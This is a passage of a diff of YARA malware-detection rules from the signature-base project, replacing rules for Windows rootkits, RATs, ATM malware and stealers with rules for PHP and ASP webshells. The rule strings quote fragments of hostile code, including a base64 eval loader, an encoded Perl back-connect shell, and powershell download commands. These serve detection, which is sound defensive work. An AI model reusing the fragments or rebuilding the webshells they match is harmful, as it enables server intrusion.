-		$seq2 = { b8 00 00 00 00 89 85 90 fd ff ff b8 00 00 00 00 89 85 8c fd ff ff b8 00 00 00 00 89 85 88 fd ff ff b8 00 00 00 00 89 85 84 fd ff ff b8 04 00 00 00 89 85 80 fd ff ff b8 00 00 00 00 88 85 7f f5 ff ff b8 00 08 00 00 50 b8 00 00 00 00 50 8d 85 80 f5 ff ff 50 e8 ?? 0b 00 00 83 c4 0c b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 00 00 00 00 50 b8 9d 31 40 00 50 8b 45 f8 ff d0 89 85 90 fd ff ff 8b 85 }
-		$s1 = "%s\\netfilter.sys" fullword ascii
-		$s2 = "SYSTEM\\CurrentControlSet\\Services\\netfilter" fullword ascii
-		$s3 = "\\\\.\\netfilter" fullword ascii
+		$s0 = "target fi1e:<br><input type=\"text\" name=\"target\" value=\"index.php\"></br>" fullword
+		$s1 = "eval(base64_decode(\"ZXZhbChiYXNlNjRfZGVjb2RlKCJhV2R1YjNKbFgzVnpaWEpmWVdKdmNuUW9"
+		$s2 = "<img src=\"http://s43.radikal.ru/i101/1004/d8/ced1f6b2f5a9.png\" align=\"center"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >6KB and filesize <1000KB and ( all of ($seq*) or 2 of ($s*))
+		1 of them
 }
-rule SIGNATURE_BASE_MAL_Netfilter_May_2021_1_1 : FILE
+rule SIGNATURE_BASE_Shells_PHP_Wso
 {
 	meta:
-		description = "Detects Netfilter rootkit"
-		author = "Arkbird_SOLG"
-		id = "0ac01eb3-435b-52b0-b8e8-ace2ebb34f60"
-		date = "2020-06-18"
+		description = "Semi-Auto-generated  - file wso.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "fdce6094-a88e-5da6-aeb0-bc97b15bf397"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/struppigel/status/1405483373280235520"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_netfilter.yar#L28-L52"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ba72bbc38c27d0c8d6eea7d513c3ca40276edd929c93abae4098639f7d7649a5"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4330-L4341"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "33e2891c13b78328da9062fbfcf898b6"
+		logic_hash = "31ef69228b66b30300006f63b1e4d6e92c2512caca4bd915d418b48564b39c47"
 		score = 75
-		quality = 83
-		tags = "FILE"
-		hash1 = "63d61549030fcf46ff1dc138122580b4364f0fe99e6b068bc6a3d6903656aff0"
-		hash2 = "8249e9c0ac0840a36d9a5b9ff3e217198a2f533159acd4bf3d9b0132cc079870"
-		hash3 = "d64f906376f21677d0585e93dae8b36248f94be7091b01fd1d4381916a326afe"
-		tlp = "White"
-		adversary = "Chinese APT Group"
+		quality = 85
+		tags = ""
 
 	strings:
-		$seq1 = { 48 8b 05 a9 57 ff ff 45 33 c9 49 b8 32 a2 df 2d 99 2b 00 00 48 85 c0 74 05 49 3b c0 75 38 0f 31 48 c1 e2 20 48 8d 0d 85 57 ff ff 48 0b c2 48 33 c1 48 89 05 78 57 ff ff 66 44 89 0d 76 57 ff ff 48 8b 05 69 57 ff ff 48 85 c0 75 0a 49 8b c0 48 89 05 5a 57 ff ff 48 f7 d0 48 89 05 58 57 }
-		$seq2 = { 48 83 ec 38 48 83 64 24 20 00 48 8d 05 83 4c 00 00 48 8d 15 24 d1 00 00 48 89 44 24 28 48 8d 4c 24 20 e8 4d 05 00 00 85 c0 78 16 4c 8d 05 22 d1 00 00 83 ca ff 48 8d 0d 00 d1 00 00 e8 39 05 00 00 48 83 c4 }
-		$seq3 = { 45 33 c0 48 8d 4c 24 40 41 8d 50 01 ff 15 5d 62 00 00 c6 84 24 88 00 00 00 01 48 8d 84 24 88 00 00 00 48 89 46 18 48 8d 0d e2 fe ff ff 48 89 9e c0 00 00 00 48 8d 44 24 40 48 89 46 50 48 8d 44 24 30 48 89 46 48 65 48 8b 04 25 88 01 00 00 48 89 86 98 00 00 00 48 8b 86 b8 00 00 00 40 88 7e 40 c6 40 b8 06 4c 89 78 e0 48 89 58 e8 c7 40 c0 01 00 00 00 c7 40 c8 0d 00 00 00 48 89 58 d0 48 8b 86 b8 00 00 00 48 89 48 f0 48 8d 4c 24 40 48 89 48 f8 c6 40 bb e0 48 8b 43 28 48 85 c0 74 2f 48 8b 48 10 48 85 c9 74 07 48 21 78 10 4c 8b f1 48 8b 08 48 85 c9 74 06 48 21 38 48 8b e9 48 8b 48 08 48 85 c9 74 08 48 83 60 08 00 48 8b f9 48 8b d6 49 8b cf ff 15 74 61 00 00 3d 03 01 00 00 75 19 48 83 64 24 20 00 48 8d 4c 24 40 41 b1 01 45 33 c0 33 d2 ff 15 64 61 00 00 48 8b 43 28 48 85 c0 74 1a 4d }
-		$seq4 = { 8b 84 24 80 00 00 00 48 8d 54 24 38 48 8b 4c 24 30 44 8b ce 89 44 24 28 45 33 c0 48 89 7c 24 20 ff 15 66 2e 00 00 48 8b 4c 24 30 8b d8 ff 15 49 2e 00 00 48 8b 4c 24 30 ff 15 26 2d 00 00 8b }
-		$s1 = "%sc=%s" fullword ascii
-		$s2 = { 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 25 30 32 78 }
-		$s3 = "NETIO.SYS" fullword ascii
+		$s0 = "$back_connect_p=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbi"
+		$s3 = "echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=pos"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >20KB and filesize <1000KB and (3 of ($seq*) or 2 of ($s*))
+		1 of them
 }
-rule SIGNATURE_BASE_Gen_Python_Encoded_Adware : FILE
+rule SIGNATURE_BASE_Backdoor1_Php
 {
 	meta:
-		description = "Encoded Python payload for adware"
-		author = "John Lambert @JohnLaTwC"
-		id = "7b4b422b-c960-5ab3-a6a7-a30e416efdec"
-		date = "2018-03-07"
-		modified = "2023-01-06"
-		reference = "https://twitter.com/JohnLaTwC/status/949048002466914304"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_python_encoded_adware.yar#L1-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5d7239be779367e69d2e63ffd9dc6e2a1f79c4e5c6c725e8c5e59a44c0ab2fff"
-		logic_hash = "256b289cfe83384c02aacf9c7e790898ba34988c9be149b39e63791c319bfc4a"
+		description = "Semi-Auto-generated  - file backdoor1.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "89f44a1c-8a42-58f6-9308-371f4e652bff"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4342-L4354"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e1adda1f866367f52de001257b4d6c98"
+		logic_hash = "7c8840dc91c16b9fa19fee16e0159a7f13db23c96596e18da0cdab07931ce35b"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$r1 = "=__import__(\"base64\").b64decode"
-		$s1 = "bytes(map(lambda"
-		$s2 = "[1]^"
+		$s1 = "echo \"[DIR] <A HREF=\\\"\".$_SERVER['PHP_SELF'].\"?rep=\".realpath($rep.\".."
+		$s2 = "class backdoor {"
+		$s4 = "echo \"<a href=\\\"\".$_SERVER['PHP_SELF'].\"?copy=1\\\">Copier un fichier</a> <"
 
 	condition:
-		filesize <100KB and @r1<100 and all of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Datper_Backdoor : FILE
+rule SIGNATURE_BASE_Elmaliseker_Asp
 {
 	meta:
-		description = "Detects Datper Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "547db8bb-cc02-5521-8b85-845b1652fee9"
-		date = "2017-08-21"
+		description = "Semi-Auto-generated  - file elmaliseker.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "7ecf3d5c-be91-579e-905b-5f2ad03a0e42"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_tick_datper.yar#L13-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "eacdc648226f20fa3847f0b5e8cafcee59cc1c6274cabb885db297f5b5fceafb"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4355-L4368"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b32d1730d23a660fd6aa8e60c3dc549f"
+		logic_hash = "969f0f12449375a9ebbb8a68fd4b3db395927416d5cceccdb7f2c64310430880"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7d70d659c421b50604ce3e0a1bf423ab7e54b9df361360933bac3bb852a31849"
-		hash2 = "331ac0965b50958db49b7794cc819b2945d7b5e5e919c185d83e997e205f107b"
-		hash3 = "90ac1fb148ded4f46949a5fea4cd8c65d4ea9585046d66459328a5866f8198b2"
-		hash4 = "12d9b4ec7f8ae42c67a6fd030efb027137dbe29e63f6f669eb932d0299fbe82f"
-		hash5 = "2384e8ad8eee6db1e69b3ee7b6b3d01ae09f99a86901a0a87fb2788c1115090c"
-		hash6 = "1e511c32cdf8abe23d8ba7c39da5ce7fc6c87fdb551c9fc3265ee22ac4076e27"
-		hash7 = "7bc042b9a599e1024a668b9921e2a42a02545429cf446d5b3d21f20185afa6ce"
+		tags = ""
 
 	strings:
-		$s1 = "RtlGetCo" fullword ascii
-		$s2 = "hutils" fullword ascii
-		$s3 = "kza2FWU,f;\"3U&zpa3U(W`J" fullword ascii
-		$c1 = "dkkwldngn" fullword ascii
-		$c2 = "ndkkwqgcm" fullword ascii
+		$s0 = "if Int((1-0+1)*Rnd+0)=0 then makeEmail=makeText(8) & \"@\" & makeText(8) & \".\""
+		$s1 = "<form name=frmCMD method=post action=\"<%=gURL%>\">"
+		$s2 = "dim zombie_array,special_array"
+		$s3 = "http://vnhacker.org"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="58db98e2334746d349d607e4d73bc5ea" or pe.imphash()=="8fbed921458af485ce84fb7d9b13899e" or (2 of ($s*) and 1 of ($c*)) or ($s3 and $c1)))
+		1 of them
 }
-rule SIGNATURE_BASE_APT_Pupyrat_PY : FILE
+rule SIGNATURE_BASE_Indexer_Asp
 {
 	meta:
-		description = "Detects Pupy RAT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "cdd689e3-437e-514d-a058-fad80ce0639e"
-		date = "2017-02-17"
+		description = "Semi-Auto-generated  - file indexer.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "84ff60f9-36f7-5d29-9f38-8088fb42582e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_magichound.yar#L10-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b30bc3082be3229ea2ef5d7c51ab6f97df2f612c80c45892e1a13fde1fb56725"
-		score = 75
-		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8d89f53b0a6558d6bb9cdbc9f218ef699f3c87dd06bc03dd042290dedc18cb71"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4369-L4380"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9ea82afb8c7070817d4cdf686abe0300"
+		logic_hash = "0a51f15bfb4289dcb70e1e0b96d100be12901ebf26ed9c0e543eda5f4aa91f1c"
+		score = 75
+		quality = 85
+		tags = ""
 
 	strings:
-		$x1 = "reflective_inject_dll" fullword ascii
-		$x2 = "ImportError: pupy builtin module not found !" fullword ascii
-		$x3 = "please start pupy from either it's exe stub or it's reflective DLLR;" fullword ascii
-		$x4 = "[INJECT] inject_dll." fullword ascii
-		$x5 = "import base64,zlib;exec zlib.decompress(base64.b64decode('eJzzcQz1c/ZwDbJVT87Py0tNLlHnAgA56wXS'))" fullword ascii
-		$op1 = { 8b 42 0c 8b 78 14 89 5c 24 18 89 7c 24 14 3b fd }
+		$s0 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input typ"
+		$s2 = "D7nD7l.km4snk`JzKnd{n_ejq;bd{KbPur#kQ8AAA==^#~@%>></td><td><input type=\"submit"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <20000KB and 1 of them ) or (2 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_APT_Magichound_Malmacro : FILE
+rule SIGNATURE_BASE_Dxshell_Php_Php
 {
 	meta:
-		description = "Detects malicious macro / powershell in Office document"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ad573f52-dbda-5852-ad73-9ef47dd6e7df"
-		date = "2017-02-17"
+		description = "Semi-Auto-generated  - file DxShell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "b89930b7-acf3-5078-8429-d59e27e4b00c"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_magichound.yar#L33-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "198c6e7ab957d5c1bb45449b0b2210532e97ed11700f8435201200746e0dfa48"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4381-L4392"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "33a2b31810178f4c2e71fbdeb4899244"
+		logic_hash = "821f9295eba6119ad08349e769d1909cd7836b4e35795915e94095cf715dc6e5"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "66d24a529308d8ab7b27ddd43a6c2db84107b831257efb664044ec4437f9487b"
-		hash2 = "e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6"
+		tags = ""
 
 	strings:
-		$s1 = "powershell.exe " fullword ascii
-		$s2 = "CommandButton1_Click" fullword ascii
-		$s3 = "URLDownloadToFile" fullword ascii
+		$s0 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
+		$s2 = "print \"\\n\".'<tr><td width=100pt class=linelisting><nobr>POST (php eval)</td><"
 
 	condition:
-		( uint16(0)==0xcfd0 and filesize <8000KB and all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_ATM_Malware_XFSADM_1 : FILE
+rule SIGNATURE_BASE_S72_Shell_V1_1_Coding_Html
 {
 	meta:
-		description = "Detects ATM Malware XFSADM"
-		author = "Frank Boldewin (@r3c0nst), modified by Florian Roth"
-		id = "7bd7e194-1cf1-5d12-809b-25aaf7f62ca3"
-		date = "2019-06-21"
+		description = "Semi-Auto-generated  - file s72 Shell v1.1 Coding.html.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "dfd3b80e-6245-5f74-9d6a-6006218891ac"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/r3c0nst/status/1149043362244308992"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_atm_xfsadm.yar#L1-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f2c1761407c5e499be43e546badd27428821f828a470fd3e3dcddd08db04aaa5"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4393-L4405"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c2e8346a5515c81797af36e7e4a3828e"
+		logic_hash = "aef8840b72e5c435c11150007d6b3af2943126fefdc6df343d0f73755340e260"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "2740bd2b7aa0eaa8de2135dd710eb669d4c4c91d29eefbf54f1b81165ad2da4d"
+		tags = ""
 
 	strings:
-		$Code1 = {68 88 13 00 00 FF 35 ?? ?? ?? ?? 68 CF 00 00 00 50 FF 15}
-		$Code2 = {68 98 01 00 00 50 FF 15}
-		$Mutex = "myXFSADM" wide
-		$MSXFSDIR = "C:\\Windows\\System32\\msxfs.dll" ascii
-		$XFSCommand1 = "WfsExecute" ascii
-		$XFSCommand2 = "WfsGetInfo" ascii
-		$PDB = "C:\\Work64\\ADM\\XFS\\Release\\XFS.pdb" ascii
-		$WindowName = "XFS ADM" wide
-		$FindWindow = "ADM rec" wide
-		$LogFile = "xfs.log" ascii
-		$TmpFile = "~pipe.tmp" ascii
+		$s0 = "Dizin</font></b></font><font face=\"Verdana\" style=\"font-size: 8pt\"><"
+		$s1 = "s72 Shell v1.0 Codinf by Cr@zy_King"
+		$s3 = "echo \"<p align=center>Dosya Zaten Bulunuyor</p>\""
 
 	condition:
-		uint16(0)==0x5A4D and filesize <500KB and (4 of them or $PDB)
+		1 of them
 }
-rule SIGNATURE_BASE_MAL_Compromised_Cert_Ducktail_Stealer_Jun23 : FILE
+rule SIGNATURE_BASE_Kacak_Asp
 {
 	meta:
-		description = "Detects binaries signed with compromised certificates used by DuckTail stealer - identified in June 2023"
-		author = "dr4k0nia"
-		id = "b491e1b6-42c4-58e9-8efa-19e697804f96"
-		date = "2023-06-16"
-		modified = "2023-08-12"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_ducktail_compromised_certs_jun23.yar#L2-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9b7916700359d662e99003727f5293f5a937254ff265c3bc8bb8763e196daa0e"
-		score = 80
+		description = "Semi-Auto-generated  - file kacak.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "1ae15174-b84a-5826-b768-7afed65196db"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4406-L4419"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "907d95d46785db21331a0324972dda8c"
+		logic_hash = "8542a3985dff2d1eb42f4d2c9f30405a4817a8e30075225c518ec52381f1f7df"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "17c75f2d14af9f00822fc1dba00ccc9ec71fc50962e196d7e6f193f4b2ee0183"
-		hash2 = "b3cfdb442772d07a7f037b0bb093ba315dfd1e79b0e292736c52097355495270"
-		hash3 = "9afe013cae0167993a6a7ccd650eb1221a5ec163110565eb3a49a8b57949d4ee"
+		tags = ""
 
 	strings:
-		$sx1 = "AZM MARKETING COMPANY LIMITED" ascii fullword
-		$sx2 = "CONG TY TNHH" ascii
-		$sx3 = {43 C3 94 4E 47 20 54 59 20 54 4E 48 48 20}
-		$sx4 = "CONG TY TRACH" ascii
-		$se1 = {65 78 BE 85 2D 48 E3 3D 4E 48 B8 D4 73 F5 B7 60}
-		$se2 = {1D 53 38 32 74 2B 58 37 87 C0 A2 53 32 F7 FB 06}
-		$se3 = {00 BD 7B 85 B2 6A 69 C9 7D 6D 68 CC 95 67 34 C0 6B}
-		$se4 = {06 5F 5C 57 0B D6 A7 98 92 FB B0 E6 34 61 3A 4D}
-		$se5 = {41 55 3F 07 13 37 11 7A 99 B4 58 57}
-		$se6 = {1E AA E4 CE E7 EE 89 FB 20 32 59 27 88 13 D8 53}
-		$se7 = {56 DC DB 85 D4 89 F9 87 B2 D6 76 72}
-		$se8 = {2D A4 50 57 C2 74 3C 1A 3C A4 93 7A}
-		$se9 = {37 AE 95 F5 4C 8E 9B D0 B6 47 68 6A}
-		$se10 = {3D C8 F5 3B 62 7A 34 07 AC 7E 01 00 13 87 A3 B3}
-		$se11 = {01 C9 87 5A 5F A8 59 68 6D 34 17 C9}
-		$se12 = {1B 35 19 E1 CD C2 6B 57 DA EE 06 C9}
-		$se13 = {79 7D 0B 5E 22 AA 0F C7 A2 97 E6 48}
-		$se14 = {57 9E 5C 89 B0 85 A7 96 B3 3C F3 19}
+		$s0 = "Kacak FSO 1.0"
+		$s1 = "if request.querystring(\"TGH\") = \"1\" then"
+		$s3 = "<font color=\"#858585\">BuqX</font></a></font><font face=\"Verdana\" style="
+		$s4 = "mailto:BuqX@hotmail.com"
 
 	condition:
-		uint16(0)==0x5a4d and 1 of ($sx*) and 1 of ($se*)
+		1 of them
 }
-rule SIGNATURE_BASE_Malware_QA_Not_Copy : FILE
+rule SIGNATURE_BASE_PHP_Backdoor_Connect_Pl_Php
 {
 	meta:
-		description = "VT Research QA uploaded malware - file not copy.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d618389b-ec80-5ad1-be44-4b1f3e36c07d"
-		date = "2016-08-29"
+		description = "Semi-Auto-generated  - file PHP Backdoor Connect.pl.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "96c9258e-3894-5ee9-b52c-eb7ba7454416"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "VT Research QA"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_malware_set_qa.yar#L13-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4001d71101a9c6d4134e7ed4b9b03d34ada62241a668970e21a60d7a23dd7b86"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4420-L4432"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "57fcd9560dac244aeaf95fd606621900"
+		logic_hash = "b141546f45767884f9c8b1cc4c09ea25f90c0f3a3633bfeecad78b60e7f20306"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1410f38498567b64a4b984c69fe4f2859421e4ac598b9750d8f703f1d209f836"
+		tags = ""
 
 	strings:
-		$x1 = "U2VydmVyLmV4ZQ==" fullword wide
-		$x2 = "\\not copy\\obj\\Debug\\not copy.pdb" ascii
-		$x3 = "fuckyou888.ddns.net" fullword wide
-		$s1 = "cmd.exe /c ping 0 -n 2 & del \"" fullword wide
-		$s2 = "Server.exe" fullword wide
-		$s3 = "Execute ERROR" fullword wide
-		$s4 = "not copy.exe" fullword wide
-		$s5 = "Non HosT" fullword wide
-		$s6 = "netsh firewall delete allowedprogram" fullword wide
+		$s0 = "LorD of IRAN HACKERS SABOTAGE"
+		$s1 = "LorD-C0d3r-NT"
+		$s2 = "echo --==Userinfo==-- ;"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or 4 of ($s*))) or (5 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Malware_QA_Update : FILE
+rule SIGNATURE_BASE_Antichat_Socks5_Server_Php_Php
 {
 	meta:
-		description = "VT Research QA uploaded malware - file update.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1dce684d-33b0-5588-8325-2a34c0cde32f"
-		date = "2016-08-29"
+		description = "Semi-Auto-generated  - file Antichat Socks5 Server.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "35d0930c-ef07-5fd4-9d7a-c0d685f92339"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "VT Research QA"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_malware_set_qa.yar#L39-L69"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "97e0fec7bb4ebf326b449cc0d65eb9f024b33e1d2e54c6d3893164b66c024b2a"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L4433-L4445"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cbe9eafbc4d86842a61a54d98e5b61f1"
+		logic_hash = "d6b203561f95f431b3d2c241011ae08c05619d45c5900a28137481c029e8297e"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6d805533623d7063241620eec38b7eb9b625533ccadeaf4f6c2cc6db32711541"
-		hash2 = "6415b45f5bae6429dd5d92d6cae46e8a704873b7090853e68e80cd179058903e"
+		tags = ""
 
 	strings:
-		$x1 = "UnActiveOfflineKeylogger" fullword ascii
-		$x2 = "BTRESULTDownload File|Mass Download : File Downloaded , Executing new one in temp dir...|" fullword ascii
-		$x3 = "ActiveOnlineKeylogger" fullword ascii
-		$x4 = "C:\\Users\\DarkCoderSc\\" ascii
-		$x5 = "Celesty Binder\\Stub\\STATIC\\Stub.pdb" ascii
-		$x6 = "BTRESULTUpdate from URL|Update : File Downloaded , Executing new one in temp dir...|" fullword ascii
-		$s1 = "MSRSAAP.EXE" fullword wide
-		$s2 = "Command successfully executed!|" fullword ascii
-		$s3 = "BTMemoryLoadLibary: Get DLLEntyPoint failed" fullword ascii
-		$s4 = "I wasn't able to open the hosts file, maybe because UAC is enabled in remote computer!" fullword ascii
-		$s5 = "\\Internet Explorer\\iexplore.exe" ascii
-		$s6 = "ping 127.0.0.1 -n 4 > NUL && \"" fullword ascii
-		$s7 = "BTMemoryGetProcAddress: DLL doesn't export anything" fullword ascii
-		$s8 = "POST /index.php/1.0" fullword ascii
+		$s0 = "$port = base_convert(bin2hex(substr($reqmessage[$id], 3+$reqlen+1, 2)), 16, 10);" fullword
+		$s3 = "#   [+] Domain name address type"
+		$s4 = "www.antichat.ru"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <3000KB and (1 of ($x*) or 3 of ($s*))) or ( all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Malware_QA_Tls : FILE
+rule SIGNATURE_BASE_Antichat_Shell_V1_3_Php
 {
 	meta:
-		description = "VT Research QA uploaded malware - file tls.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b3b654b1-73cf-5e04-a332-34777f646a66"
-		date = "2016-08-29"
+		description = "Semi-Auto-generated  - file Antichat Shell v1.3.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "856cf977-24da-58e0-b6d2-820c92075ecc"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "VT Research QA"
